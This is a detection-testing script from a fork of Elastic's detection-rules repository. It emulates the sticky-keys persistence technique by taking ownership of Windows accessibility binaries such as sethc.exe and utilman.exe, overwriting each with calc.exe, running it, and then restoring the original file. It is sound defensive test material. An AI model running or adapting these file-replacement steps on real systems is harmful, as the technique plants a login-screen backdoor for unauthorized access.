forked from elastic/detection-rules
-
Notifications
You must be signed in to change notification settings - Fork 0
/
sticky_keys_write_execute.py
55 lines (41 loc) · 1.84 KB
/
sticky_keys_write_execute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
# Name: Overwrite Accessibiity Binaries
# RTA: sticky_keys_write_execute.py
# signal.rule.name: Potential Modification of Accessibility Binaries
# signal.rule.name: Local Service Commands
# signal.rule.name: Persistence via TelemetryController Scheduled Task Hijack
# ATT&CK: T1015
# Description: Writes different binaries into various accessibility locations.
import os
import time
from . import common
@common.requires_os(common.WINDOWS)
def main():
# Prep
bins = ["sethc.exe", "utilman.exe", "narrator.exe", "magnify.exe", "osk.exe", "displayswitch.exe", "atbroker.exe"]
calc = os.path.abspath("\\windows\\system32\\calc.exe")
temp = os.path.abspath("temp.exe")
# loop over bins
for bin_name in bins:
bin_path = os.path.abspath("\\Windows\\system32\\" + bin_name)
# Back up bin
common.copy_file(bin_path, temp)
# Change Permissions to allow modification
common.execute(["takeown", "/F", bin_path, "/A"])
common.execute(["icacls", bin_path, "/grant", "Administrators:F"])
# Copy Calc to overwrite binary, then run it
common.copy_file(calc, bin_path)
common.execute(bin_path, kill=True, timeout=1)
# Restore Original File and Permissions on file
common.copy_file(temp, bin_path)
common.execute(["icacls", bin_path, "/setowner", "NT SERVICE\\TrustedInstaller"])
common.execute(["icacls", bin_path, "/grant:r", "Administrators:RX"])
common.remove_file(temp)
# Cleanup
time.sleep(2)
common.execute(["taskkill", "/F", "/im", "calculator.exe"])
if __name__ == "__main__":
exit(main())